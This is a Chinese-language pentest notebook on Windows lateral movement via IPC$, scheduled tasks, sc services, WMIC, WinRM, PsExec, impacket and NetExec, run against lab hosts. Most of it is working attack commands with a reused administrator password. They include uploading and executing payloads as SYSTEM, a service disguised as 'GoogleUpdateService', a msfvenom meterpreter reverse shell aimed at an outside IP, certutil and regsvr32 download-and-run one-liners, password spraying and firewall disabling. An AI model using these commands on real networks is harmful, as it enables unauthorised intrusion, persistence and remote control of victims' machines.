	IPC$ (Internet Process Connection) 是共享 "命名管道" 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

利用 IPC$,连接者与目标主机利用建立的连接可以得到目标主机上的目录结构、用户列表等信息。

使用条件

1. 开放了139、445端口
  • 我们可以通过 139 和 445 端口来实现对共享文件/打印机的访问,因此一般来讲,IPC$ 连接是需要 139 或 445 端口来支持的。
  • IPC$ 连接可以实现远程登陆及对默认共享的访问,而 139 端口的开启表示 netbios 协议的应用。
  • IPC$ 连接默认会走 445 端口,不通的话则会走 139 端口,这两个端口都可以单独实现文件共享。
2. 目标开启 IPC$ 文件共享服务及默认共享
  • 默认共享是为了方便管理员远程管理而默认开启的共享。
  • 所有逻辑磁盘(c、d、e…)和系统目录 WINNT 或 WINDOWS(ADMIN),通过 IPC 连接可以实现对这些默认共享的访问。
3. 需要目标机器的管理员账号和密码
  • 默认情况下只有被添加到远程计算机管理员组的域用户(域管用户)有权限对 admin$ 目录建立IPC 连接。
  • 本地的 Administrator 用户也可以,如果启用了该用户,那么也可以使用 Administrator 用户远程连接。

常用命令

  • KB2871997 补丁:2014 年 5 月 13 日微软发布了更新补丁 KB2871997,禁止本地管理员账户(除 Administrator (SID 500)之外)用于远程连接,这样就无法以本地管理员用户的权限执行 wmi、PSEXEC、schtasks、at 和访问文件共享。
  • 因此连接的时候一定要用 administrator 进行连接,administrators 组当中的成员都不行,否则会一直提示 拒绝访问。
    • 从 Vista/Win2008 开始,即使是本地 Administrators 组用户,远程访问共享时默认会被“降级”为普通用户令牌。

Pasted image 20250827220057.png

Pasted image 20250827220220.png

查看本地共享
# net share 只能查看自己的共享情况信息
net share

# 查看别人的需要用到 net view
net view \\目标主机IP
查看连接情况
net use

Pasted image 20250827205429.png

Pasted image 20250827205505.png

连接
net use \\10.10.10.30\C$ /user:username password

	net use \\10.10.10.30\C$ /user:administrator 123456

Pasted image 20250827205625.png

查看目标主机时间
net time \\10.10.10.20

Pasted image 20250827211356.png

文件上传下载
# 查看
dir \\10.10.10.20\C$

# 上传
copy payload.exe \\10.10.10.20\C$\temp\payload.exe

# 下载
copy \\10.10.10.20\C$\temp\payload.exe C:\temp\payload1.exe

Pasted image 20250827212204.png

Pasted image 20250827212721.png

查看/删除/增加 共享的资源
# net share 只能查看自己的共享情况信息
net share

# 查看别人的需要用到 net view
net view \\目标主机IP

# 删除共享
net share C$ /del

# 增加共享
net share C$=C:\

# 查看相关帮助
net share /?

Pasted image 20250827212959.png

Pasted image 20250827213118.png

Pasted image 20250827213149.png

开放/关闭 IPC$ 共享
# 开放 IPC$ 共享
net share IPC$

# 关闭 IPC$ 共享
net share IPC$ /del

Pasted image 20250827214759.png

磁盘映射 - 映射共享磁盘到本地
net use z: \\10.10.10.20\C$ /user:administrator 123456

Pasted image 20250827214614.png

Pasted image 20250827214659.png

删除连接
net use \\10.10.10.20\C$ /del

net use * /del /y

Pasted image 20250827220534.png

Pasted image 20250827220659.png

IPC$ 连接失败 常见错误
错误号描述错误原因
5拒绝访问很可能你使用的用户不是管理员权限,先提升权限
51Windows 无法找到网络路径网络有问题
53找不到网络路径ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤)
67找不到网络名你的 LanManWorkStation 服务未启动;目标删除了 ipc$
1219提供的凭据与已存在的凭据集冲突你已经和对方建立了一个 ipc$,请删除后再连
1326未知的用户名或错误密码用户名或密码错误
1385登录失败:未授予用户在此计算机上的请求登录类型可能是因为未授予用户登录类型
1792试图登录,但是网络登录服务没有启动目标 NetLogon 服务未启动,连接域控会出现此情况
2242此用户的密码已经过期目标有帐号策略,强制定期要求更改密码

利用

1. IPC$ + AT - 计划任务
0、AT 简介
AT命令可在指定时间和日期、在指定计算机上运行命令和程序。
	AT命令在 windows server 2012 等新版系统中已被弃用。
	
	AT命令如果找不到网络路径,则判断是目标主机已禁用 Task Scheduler 服务。
		问题:执行 at 命令时,显示绑定句柄无效。
		解决:echo 10.10.11.100 RemoteHost > C:\Windows\System32\drivers\etc\hosts
注意:
	AT 和 Schtasks 虽然都是计划任务,并且在 Windows 上查看定时任务的地方相同,但是
		无法使用 AT 命令 查看、修改 Schtasks 创建的相关任务;
			创建任务的任务名
				AT1
				AT2
				AT3
		使用 Schtasks 命令 却可以 查看、修改 AT 创建的相关任务。

Pasted image 20250827224716.png

1、建立 IPC 连接
shell net use \\10.10.10.20\C$ /user:administrator 1qaz@WSX

Pasted image 20250827223318.png

Pasted image 20250827223400.png

2、上传 payload
copy C:\temp\qiaoshen.exe \\10.10.10.20\C$\temp\qiaoshen.exe

Pasted image 20250827223641.png

	虽然我们把 payload 上传到了目标主机上,但是我们无法远程的使 目标主机 执行我们的 payload,因此此时我们需要使用 at、schtasks 等计划任务的方式、或者 sc 的服务这种方式实现目标主机执行我们的 payload 实现上线。

Pasted image 20250827223810.png

3、查看远程主机时间
定时任务肯定是根据对方目标主机的事件来进行设定的。
net time \\10.10.10.20

Pasted image 20250827224058.png

4、设定定时任务 - 执行 payload 实现上线
# 设定定时任务
at \\10.10.10.20 22:42:00 C:\temp\qiaoshen.exe

# 查看定时任务
at \\10.10.10.20

Pasted image 20250827224258.png

Pasted image 20250827224439.png

成功上线。

Pasted image 20250827224518.png

5、AT命令删除任务
at \\computer id /del

at \\10.10.10.20 1 /del

Pasted image 20250827224928.png

2. IPC$ + Schtasks - 计划任务
0、Schtasks 简介
	由于 AT 在 windows server 2012 等新版系统中已被弃用,所以需要使用 schtasks 命令代替。
		允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务。
注意:
	AT 和 Schtasks 虽然都是计划任务,并且在 Windows 上查看定时任务的地方相同,但是他们自己的相关计划任务并不互通,不能互相操作。
		无法使用 AT 命令 查看、修改 Schtasks 创建的相关任务;
		也无法使用 Schtasks 命令 查看、修改 AT 创建的相关任务。
命令 / 参数功能描述补充说明
/Create创建新计划任务用于初始化一个新的计划任务配置,需配合其他参数(如任务名称、运行程序等)使用
/Delete删除计划任务执行后会移除指定的计划任务,通常需通过 /tn 参数指定要删除的任务名称
/Query显示所有计划任务运行后可列出当前系统中已创建的全部计划任务,便于查看任务列表及基本信息
/Change更改计划任务属性用于修改已存在计划任务的属性,例如任务运行频率、关联程序路径等,需指定目标任务(/tn
/Run按需运行计划任务无需等待任务的预设计划时间,手动触发指定计划任务立即执行,需通过 /tn 指定任务
/End中止当前正在运行的计划任务当某计划任务处于运行状态时,可通过此命令强制停止该任务,需指定目标任务(/tn
/ShowSid显示与计划任务名称相应的安全标识符(SID)输入任务名称(配合 /tn)后,返回该任务对应的系统安全标识符,用于权限管理相关场景
/sc指定计划类型必需参数,用于定义任务的执行周期,有效值包括:MINUTE(按分钟)、HOURLY(按小时)、DAILY(按天)、WEEKLY(按周)、MONTHLY(按月)、ONCE(仅一次)、ONSTART(系统启动时)、ONLOGON(用户登录时)、ONIDLE(系统空闲时)
/mo指定任务在计划类型内的运行频率对 MONTHLY 计划类型为必需参数;对 MINUTE、HOURLY、DAILY、WEEKLY 计划类型为可选参数,默认值为 1(即按计划类型最小单位执行,如 /sc DAILY /mo 1 表示每天执行)
/tr指定任务运行的程序或命令若未填写程序路径,SchTasks.exe 会默认从 Systemroot\System32 目录下查找目标程序
/tn指定任务的名称用于标识计划任务的唯一名称,是 /Create/Delete/Change 等多数命令的核心关联参数,需确保任务名称唯一
/?显示帮助消息运行后列出所有 SchTasks.exe 命令及参数的详细说明,用于查询参数用法
# 创建任务
schtasks /create /tn task1 /s ip /RU system /tr 命令 /sc MINUTE /mo 1 /U 域\域用户|用户 /P 用户密码

# 运行任务
schtasks /run /tn task1 /s ip /U 域\域用户|用户 /P 用户密码

# 删除任务
schtasks /F /delete /tn task1 /s ip /U 域\域用户|用户 /p 用户密码
1、建立 IPC 连接
shell net use \\10.10.10.20\C$ /user:administrator 1qaz@WSX

Pasted image 20250827230822.png

Pasted image 20250827230853.png

2、上传 payload
copy C:\temp\qiaoshen.exe \\10.10.10.20\C$\temp\qiaoshen.exe

Pasted image 20250827223641.png

	虽然我们把 payload 上传到了目标主机上,但是我们无法远程的使 目标主机 执行我们的 payload,因此此时我们需要使用 at、schtasks 等计划任务的方式、或者 sc 的服务这种方式实现目标主机执行我们的 payload 实现上线。

Pasted image 20250827223810.png

3、查看远程主机时间
定时任务肯定是根据对方目标主机的事件来进行设定的。
net time \\10.10.10.20

Pasted image 20250827225539.png

4、创建定时任务
schtasks /create /tn task1 /s ip /RU system /tr 命令 /sc MINUTE /mo 1 /U 域\域用户|用户 /P 用户密码

# 虽然此时 IPC 已连接,但远程操作 10.10.10.20 还是需要验证。
schtasks /create /tn qiaoshen /s 10.10.10.20 /RU SYSTEM /tr "cmd.exe /c C:\temp\qiaoshen.exe" /sc minute /mo 1 /U administrator /p 1qaz@WSX

Pasted image 20250827230637.png

5、查看定时任务
# 切换编码
chcp 65001

# 查看目标主机上的计划任务
schtasks /query /s 10.10.10.20 /tn qiaoshen /U administrator /p 1qaz@WSX

需要 chcp 65001 才能查看
	不更改代码页编码,直接查看可能会显示如下错误:

Pasted image 20250827231329.png

Pasted image 20250827231151.png

Pasted image 20250827230351.png

CS 无法查看,因为 Cobalt Strike 无法 更改代码页编码。
	不是一个长效的 保持连接的TCP_Shell,而是心跳包发送每一个任务,并不能连续。

Pasted image 20250827231528.png

成功上线。

Pasted image 20250827230736.png

6、删除计划任务
schtasks /delete /tn qiaoshen /s 10.10.10.20 /f

schtasks /delete /tn qiaoshen /s 10.10.10.20 /u administrator /p 1qaz@WSX /f
IPC$ + SC - 服务
0、SC 简介
	sc 命令可以注册、删除和查询系统服务。
注意:
	服务的 payload 是特别的类型,是 exe-service 类型的,需要与 服务控制器 不断通信。

详情可参考:
	3提权 - Windows 提权 - 6)Windows 系统服务漏洞 - 2)可信任服务路径 - 4.生成 payload
# 本地系统启动时启动服务(binpath= 和 password= 后跟的空格 “ ” 是必须存在的,格式就是这样。)
sc \\10.10.10.20 create test binpath= "c:\xx.exe" password= 1qaz@WSX1

# 当 "mingy\administrator" 用户登录时启动服务
sc \\10.10.10.20 create test binpath= "c:\xx.exe" obj= "WEB\administrator" password= 1qaz@WSX1

# sc启动指定服务
sc \\10.10.10.20 start test

# sc停止指定服务
sc \\10.10.10.20 stop test
sc \\10.10.10.20 delete test

	注意:binpath设置选项 '=' 后面有一个空格
1、建立 IPC 连接
shell net use \\10.10.10.20\C$ /user:administrator 1qaz@WSX

Pasted image 20250827223318.png

Pasted image 20250827223400.png

2、上传 payload
# 胜场payload(MSF)
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=120.55.169.128 lport=4205 -f exe-service -o qiaoshen_service.exe

# 上传 payload
copy C:\temp\qiaoshen_service.exe \\10.10.10.20\C$\temp\qiaoshen_service.exe

Pasted image 20250827233930.png

	虽然我们把 payload 上传到了目标主机上,但是我们无法远程的使 目标主机 执行我们的 payload,因此此时我们需要使用 at、schtasks 等计划任务的方式、或者 sc 的服务这种方式实现目标主机执行我们的 payload 实现上线。

Pasted image 20250827223810.png

3、创建服务
# sc 创建服务
sc \\10.10.10.20 create GoogleUpdateService binPath= "C:\temp\qiaoshen_service.exe" displayname= "displayname_nothingjustdisplay" start= auto

# sc 查询服务信息
sc \\10.10.10.20 qc GoogleUpdateService

Pasted image 20250827234454.png

Pasted image 20250827234954.png

4、启动服务
sc \\10.10.10.20 start GoogleUpdateService

Pasted image 20250827234540.png

成功上线。
	服务启动默认是 SYSTEM 权限。

Pasted image 20250827234606.png

5、停止、删除服务
# 停止
sc \\10.10.10.20 stop GoogleUpdateService

# 删除
sc \\10.10.10.20 delete GoogleUpdateService

Pasted image 20250827234800.png

2)WMIC

WMIC 简介

	WMI:(Windows Management Instrumentation Windows 管理规范),是用户管理本地和远程计算机的一种模型。通过它可以访问、配置、管理和监视几乎所有的 Windows 资源。WMI 的语法十分简单,基本上常见的命名空间、对象的用法几乎一模一样。它对应的是 Windows 里的 WMI 服务(winmgmt)。

		在 Windows 2000 之后的操作系统中内置了该服务。WMI 使用公共信息模型(CIM)表示托管组件,其中包括系统、应用程序、网络等等。CIM 中使用类表示管理对象,命名空间是一个类的集合。
	
		通过使用 135 端口上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。
而 WMIC 就是为 WMI 提供的命令行界面。
	详细参考:https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/wmic

使用条件

    1. Windows Management Instrumentation 服务开启,端口TCP 135,默认开启。
    1. 防火墙允许 135、445 等端口通信。

利用

0. 注意
1)必须指定账户及密码 且 必须是 administrator 账户
远程操作的时候必须指定 管理员账户密码,即使连接了 IPC,依然需要指定账户密码才可以。
	且必须是管理员 administrator,即使是 administrators 组当中的其他成员都不可以。

Pasted image 20250827235810.png

Pasted image 20250827235919.png

2)格式必须规范
wmic /node:IP /user:username /password:password command

wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX useraccount list brief
	绝不能写成:
		wmic /node:10.10.10.20 useraccount list brief /user:administrator /password:1qaz@WSX - 报错
3)WMI不支持执行命令,而是支持执行文件,可以通过加相应的参数执行命令,比如:
	wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig"

	但是可以发现并没有结果回显,这种情况我们可以把命令执行的结果 重定向到文件当中,然后我们去查看文件当中的内容 即可。

	wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig > C:\ipconfig.txt"

Pasted image 20250828000530.png

1. 查询进程信息
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process list brief

Pasted image 20250827235603.png

2. 查看用户信息
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX useraccount list brief

Pasted image 20250828001115.png

2. 利用create创建进程
wmic process call create /?

wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd /c C:\temp\qiaoshen.exe"

# WMI不支持执行命令,而是支持执行文件,可以通过加相应的参数执行命令,比如:
	wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig"

	但是可以发现并没有结果回显,这种情况我们可以把命令执行的结果 重定向到文件当中,然后我们去查看文件当中的内容 即可。

	wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig > C:\ipconfig.txt"

Pasted image 20250828001541.png

Pasted image 20250828001526.png

Pasted image 20250828000530.png

如果出现 “User credentials cannot be used for local connections”,应该是调用 calc.exe 程
序权限不够的问题。

如果出现 “Description = 无法启动服务”,原因可能是已被禁用或与其相关联的设备没有启动,判断 WMI 服务被禁用。

wmic 命令缺点是没有回显,可以使用 wmiexec.vbs 脚本实现回显。
4. 下载远程文件并执行
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd /c certutil.exe -urlcache -split -f http://10.10.10.30:8000/qiaoshen.exe C:/Windows/Temp/qiaoshen.exe & C:/Windows/Temp/qiaoshen.exe"

wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "regsvr32 /s /n /u /i:http://192.168.78.117:8080/feY7nzY.sct scrobj.dll"

Pasted image 20250828002237.png

Pasted image 20250828002244.png

3)WinRM

WinRM 简介

	WinRM 指的是 Windows 远程管理服务,通过远程连接 WinRM 模块可以操作 Windows 命令行,默认监听端口 5985(HTTP)和 5986 (HTTPS),在 2012 及以后默认开启。

使用条件

需要目标主机开启 WinRM 服务 并 设定好信任主机(可以让其他主机进行进行远程操作)

利用

1、判断本机是否开启 WinRM 服务
winrm enumerate winrm/config/listener

Pasted image 20250828002814.png

以下是未开启的

Pasted image 20250828002833.png

Pasted image 20250828002953.png

netstat -ano | findstr 5985

wmic service list brief | findstr WinRM

Pasted image 20250828002938.png

特殊情况

Pasted image 20250828003143.png

winrm enumerate winrm/config/listener → 没有任何输出
	👉 说明没有配置监听器(不管是 HTTP:5985 还是 HTTPS:5986)。



netstat -ano | findstr 5985 / 5986 → 没有结果
	👉 说明 5985、5986 端口没有在监听。



wmic service list brief | findstr WinRM →
	0   WinRM   548   Auto   Running  OK

	👉 说明 WinRM 服务本身是启动的(自启动 + 正在运行)。
2. 结论
	WinRM 服务在本机是运行的 ✅
	
	但没有监听器 ❌(所以外部没法连,netstat 也看不到 5985/5986)
	
	因此严格来说,还不能算真正开启可用的 WinRM 远程管理
3. 怎么让它真正“开启”

	只需要在目标机上执行:
		winrm quickconfig


它会:
	设置 WinRM 服务为自动启动并立即启动(你这里已经是了)。
	
	创建一个默认的 HTTP://*:5985 监听器。
	
	配置防火墙规则允许 5985 流量。

	之后你再跑:
		winrm enumerate winrm/config/listener

	就会看到类似:
		Listener
			Address = *
			Transport = HTTP
			Port = 5985
			...

再用 netstat -ano | findstr 5985 也会看到监听。

Pasted image 20250828003507.png

👉 意思就是:WinRM 服务虽然能启,但是 防火墙例外规则不会自动生效,因为当前网卡配置成了 Public 网络。

	Windows 默认策略:
		Domain 网络 和 Private 网络 → winrm quickconfig 会帮你放开防火墙(5985)。
		
		Public 网络 → 出于安全考虑,不会自动放开。

解决方法:
	方法一:直接把网络类型从 Public 改成 Private
		打开 PowerShell(管理员)执行:
			Get-NetConnectionProfile

		找到你的网卡(比如 "Network")。
		
			修改为专用网络:
				Set-NetConnectionProfile -Name "Network" -NetworkCategory Private


		然后重新执行:
			winrm quickconfig

		这时就会自动放开 5985 防火墙规则。

方法二:手动放开防火墙(不改网络类型)

	如果不想改网络属性,直接放规则就行:
		netsh advfirewall firewall add rule name="WinRM HTTP" dir=in action=allow protocol=TCP localport=5985
		netsh advfirewall firewall add rule name="WinRM HTTPS" dir=in action=allow protocol=TCP localport=5986

		然后重新执行:
			winrm quickconfig

方法三:禁用防火墙(测试环境临时用)
	netsh advfirewall set allprofiles state off
		👉 不推荐生产环境用,太暴力。
2、命令开启 WinRM 服务
winrm quickconfig

Pasted image 20250828004154.png

Pasted image 20250828004234.png

3、允许远程主机访问及访问远程主机
# WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问
winrm set winrm/config/client @{TrustedHosts="*"}

Pasted image 20250828004408.png

4、Winrs 执行命令
winrs -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX whoami

winrs -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX ipconfig

Pasted image 20250828004559.png

Pasted image 20250828004456.png

5、WinRM横向移动
1)利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。
winrm invoke create wmicimv2/win32_process @{Commandline="C:\temp\qiaoshen.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX

	# 无效
	winrm invoke create wmicimv2/win32_process @{Commandline="start C:\temp\qiaoshen.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX

Pasted image 20250828011019.png

Pasted image 20250828011028.png

2)在远程机器上打开进程
winrm invoke create wmicimv2/win32_process @{Commandline="C:\temp\qiaoshen.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX

	# 无效
	winrm invoke create wmicimv2/win32_process @{Commandline="start C:\temp\qiaoshen.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX

Pasted image 20250828004945.png

Pasted image 20250828004955.png

3)在远程机器上 创建 并 运行 服务
# 创建服务
winrm invoke Create wmicimv2/Win32_Service @{Name="qiaoshen";DisplayName="qiaoshen_display";PathName="C:\temp\qiaoshen_service.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX

# 运行服务
winrm invoke StartService wmicimv2/Win32_Service?Name=qiaoshen -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX

# 删除服务
winrm invoke Delete wmicimv2/Win32_Service?Name=qiaoshen -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX
StartService() 方法返回值对照表
---------------------------------
0 = 成功
2 = 服务已经在运行
3 = 服务不可用
5 = 服务控制被拒绝
7 = 服务启动失败
10 = 服务已被禁用

Pasted image 20250828011341.png

Pasted image 20250828011351.png

2. 外部工具

内部工具都被禁用无法帮助我们 横向移动 的时候,我们可以使用以下的这些 外部工具 来帮助我们 强制内网横移 成功。

1)psexec

工作原理

1. PsExec 主要依赖以下协议和服务:
  • SMB 协议(445 端口):用于文件共享和通信。
  • ADMIN$ 共享:默认的管理共享。
  • 服务控制管理器(SCM):用于创建和管理服务。
2. 认证阶段:
  • 通过 SMB 协议与目标建立连接。
  • 使用提供的凭据进行 NTLM 认证(支持明文密码和哈希传递)。
3. 文件传输阶段:
  • 通过 ADMIN$ 共享(C:\Windows)上传 PsExec 的临时组件:
    • PSEXESVC.exe:服务端组件
    • PSEXESVC.dll:辅助 DLL 文件
4. 服务创建阶段:
  • 通过服务控制管理器(SCM)创建临时服务: sc \\目标 create PSEXESVC binpath= "C:\Windows\PSEXESVC.exe"
  • 服务类型设置为"交互式进程"(允许 UI 显示)
5. 命令执行阶段:
  • 启动创建的服务
  • PSEXESVC.exe 作为服务运行后:
    • 建立命名管道(.\pipe\PSEXESVC)进行通信
    • 执行指定的命令或启动交互式会话
6. 清理阶段(默认行为):
  • 命令执行完成后自动删除服务
  • 移除临时文件(PSEXESVC.exe 和 PSEXESVC.dll)

使用条件

  1. 对方主机开启了 ADMIN 共享,如果关闭了 ADMIN 共享,会提示:找不到网络名

  2. 防火墙允许 445 端口的 SMB 通信。

  3. 如果是工作组环境,则必须使用 administrator 用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非 administrator 用户)登录都会提示访问拒绝访问。

  4. 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。

A. PsExec.exe

	PsExec 是微软 Sysinternals 套件中的一个强大工具,用于在远程 Windows 系统上执行命令或启动交互式会话。它被广泛用于系统管理、渗透测试和横向移动。

PsExec 是 Sysinternals Suite 的一部分,可以从微软官网免费下载:
	https://learn.microsoft.com/zh-cn/sysinternals/downloads/psexec

注意:
	第一次运行会弹框 PsExec License Agreement,输入 –accepteula 这个参数就可以绕。

Pasted image 20250828012300.png

Pasted image 20250828011545.png

如果出现找不到网络名,判断目标主机已禁用 ADMIN$ 共享
基本语法
PsExec \\目标计算机 [-u 用户名] [-p 密码] [选项] [命令]
常用选项
选项描述
-u指定用户名
-p指定密码
-s以系统账户运行
-i运行程序并显示其UI(如果有)
-d不等待程序终止
-c将指定程序复制到远程系统执行
-h如果目标系统支持,以提升的权限运行
-accepteula自动接受许可协议
利用
1. 开启远程交互式命令行 - cmdShell
PsExec.exe \\10.10.10.20 -u administrator -p 1qaz@WSX -s cmd.exe -accepteula

Pasted image 20250828012955.png

Pasted image 20250828012424.png

2. 在远程计算机上执行命令 - 命令执行
PsExec.exe \\10.10.10.20 -u administrator -p 1qaz@WSX -accepteula -s whoami

PsExec.exe \\10.10.10.20 -u administrator -p 1qaz@WSX -accepteula -s ipconfig

Pasted image 20250828013039.png

Pasted image 20250828012829.png

3. 建立 IPC 连接后,使用 PsExec 无需输入密码
# 建立 IPC 连接。
net use \\10.10.10.20\ipc$ /user:administrator 1qaz@WSX

# 目标主机 - 命令执行
PsExec.exe \\10.10.10.20 whoami -accepteula

# 获得 目标主句 CMD_Shell
PsExec.exe \\10.10.10.20 -s cmd.exe -accepteula

Pasted image 20250828013310.png

4. 从本地复制文件到远程执行
PsExec.exe \\10.10.10.20 -u administrator -p 1qaz@WSX -s C:\temp\qiaoshen.exe

-c <[路径]文件名>: 拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)

Pasted image 20250828013806.png

Pasted image 20250828013818.png

B. impacket-psexec

impacket 简介
	Impacket 是一个功能强大的 Python 网络协议工具包,广泛用于渗透测试、红队行动 和 网络安全研究。它实现了多种 Windows 协议(如 SMB、MSRPC、LDAP、Kerberos 等),并提供了一系列攻击模块,用于凭证窃取、横向移动、权限提升和域渗透。

python:
	https://github.com/fortra/impacket

exe:
	https://github.com/maaaaz/impacket-examples-windows
impacket套件中的psexec与官方psexec.exe相比会自动删除服务,增加隐蔽性

Pasted image 20250828015929.png

利用
1. 交互式命令行
proxychains4 -q python3 psexec.py administrator:1qaz@[email protected] -codec gbk

-codec: 中文是 gbk 编码,指定 gbk 编码就不会乱码了。

Pasted image 20250828014435.png

2. 直接执行命令
proxychains4 -q python3 psexec.py administrator:1qaz@[email protected] whoami -codec gbk

proxychains4 -q python3 psexec.py administrator:1qaz@[email protected] ipconfig -codec gbk

注意:
	命令必须放在 "-codec gbk" 前面。

Pasted image 20250828014826.png

C. impacket-smbexec

impacket-smbexec 简介
impacket 套件中的 smbexec 是一款基于 psexec 的域渗透测试工具,类似 psexec,通过 SMB 执行命令。
	就是 impacket 套件当中的一员。
```QiaoShen
![Pasted image 20250828020128.png](/upload/Pasted%20image%2020250828020128.png)

##### 利用

```QiaoShen
# 直接获得 cmd-Shell
proxychains4 -q python3 smbexec.py administrator:1qaz@[email protected] -codec gbk

# 执行命令
	smbexec.py 不能执行命令,只能直接 getshell。

Pasted image 20250828020212.png

2)wmiexec(更加推荐)

A. impacket-wmiexec

wmiexec 简介
WMIEXEC 是基于 Windows Management Instrumentation (WMI) 的远程命令执行工具,常用于 内网渗透 和 横向移动。
	它是 Impacket 套件 的一部分(wmiexec.py),也可在 Metasploit(psexec over WMI)和 Cobalt Strike 中使用。

主要特点:
	- 无文件落地(大部分操作在内存中完成)
	- 使用合法 WMI 协议(不易被传统防火墙拦截)
	- 支持 NTLM/Kerberos 认证(适用于域环境)
	- 隐蔽性强(相比 psexec,日志记录较少)

Pasted image 20250828020739.png

工作原理
WMIEXEC 通过 WMI(Windows Management Instrumentation)远程执行命令,核心流程如下:
(1)建立 WMI 连接
	认证:使用提供的凭据(用户名/密码、NTLM 哈希、Kerberos 票据)连接目标机器的 135 端口(RPC) 和 445 端口(SMB)。
	初始化 WMI 会话:通过 DCOM(Distributed COM) 协议与 WinMgmt 服务交互。

(2)创建 WMI 进程
调用 Win32_Process 类:使用 WMI 的 Create 方法在目标机器上创建进程(如 cmd.exe /c whoami)。
执行命令:
	标准输出 
		通过 SMB 共享(ADMIN$ 或 C$) 返回
	错误输出 
		写入临时文件(如 C:\Windows\Temp&lt;随机名&gt;.tmp)

(3)清理痕迹
	删除临时文件(部分工具可配置不删除)
	关闭 WMI 会话
利用
1. 在远程主机执行命令 - 命令执行
proxychains4 -q python3 wmiexec.py -share admin$ administrator:1qaz@[email protected] whoami -codec gbk

Pasted image 20250828020817.png

2. 获得交互式命令行 - cmdShell
proxychains4 -q python3 wmiexec.py -share admin$ administrator:1qaz@[email protected] -codec gbk

Pasted image 20250828021028.png

B. WMIHACKER

WMIHACKER 简介
	常见的 WMIEXEC、PSEXEC 执行命令是创建服务或调用 Win32_Process.create 执行命令,此工具通过 135 端口进行命令执行,读取执行结果以及进行文件传输时无需 445 端口,通过把执行结果写入注册表中,然后进行读取。

项目地址:
	https://github.com/rootclay/WMIHACKER

主要功能:命令执行、文件上传、文件下载
核心特点:无需 445 端口开放。
利用
cscript //nologo WMIHACKER_0.6.vbs

Pasted image 20250828021428.png

1. 有命令回显执行方式
cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "systeminfo" 1

Pasted image 20250828022111.png

2. 无命令回显
cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "systeminfo > c:\1.txt" 0

Pasted image 20250828021625.png

Pasted image 20250828022145.png

3. 模拟shell模式
cscript WMIHACKER_0.6.vbs /shell 10.10.10.20 administrator "1qaz@WSX"

Pasted image 20250828023338.png

4. 文件上传
# 复制本机 C:\temp\qiaoshen.exe 到远程主机 C:\Windows\temp\qiaoshen.exe

cscript WMIHACKER_0.6.vbs /upload 10.10.10.20 administrator "1qaz@WSX" "C:\temp\qiaoshen.exe" "C:\Windows\Temp\qiaoshen.exe"

很奇怪的一点在于无法执行 - 执行了以后没反应、没效果:
	# 无命令回显执行 payload
	cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "C:\Windows\Temp\qiaoshen.exe" 0
	
	cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "C:\Windows\Temp\qiaoshen.exe" 1
	
	cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "start C:\Windows\Temp\qiaoshen.exe" 1

Pasted image 20250828022744.png

5. 文件下载
# 下载远程主机 C:\1.txt 到本地 C:\temp\1.txt

cscript WMIHACKER_0.6.vbs /download 10.10.10.20 administrator "1qaz@WSX" "C:\temp\1.txt" "C:\1.txt"

Pasted image 20250828023309.png

3)NetExec

NetExec 简介

	项目简介:NetExec(原名 CrackMapExec,简称 NXC)是一款功能强大的 网络渗透测试与红队工具,专为 Windows 活动目录(AD) 环境的安全评估和攻击设计。它支持多种协议(如 SMB、WinRM、LDAP、MSSQL 等),能够执行 凭证爆破、横向移动、权限提升、信息收集 等操作,是红队和渗透测试人员的常用工具。

项目地址:
	https://github.com/Pennyw0rth/NetExec
	
	参考文档:
		https://www.netexec.wiki/

Pasted image 20250828023857.png

利用

VPS 有点问题,用 Kali 的,Kali 自带了 nxc。

Pasted image 20250828023952.png

1、内网信息收集
# 密码喷洒
proxychains -q nxc smb 10.10.10.10-30 -u administrator -p '1qaz@WSX' --local-auth

# 扫描 SMB 共享
proxychains -q nxc smb 10.10.10.10-30 -u administrator -p '1qaz@WSX' --local-auth --shares

Pasted image 20250828024415.png

2、横向移动
--local-auth 表示指定的为 主机自身的工作组,而非 域环境。
smb
proxychains -q netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method smbexec --local-auth -x whoami

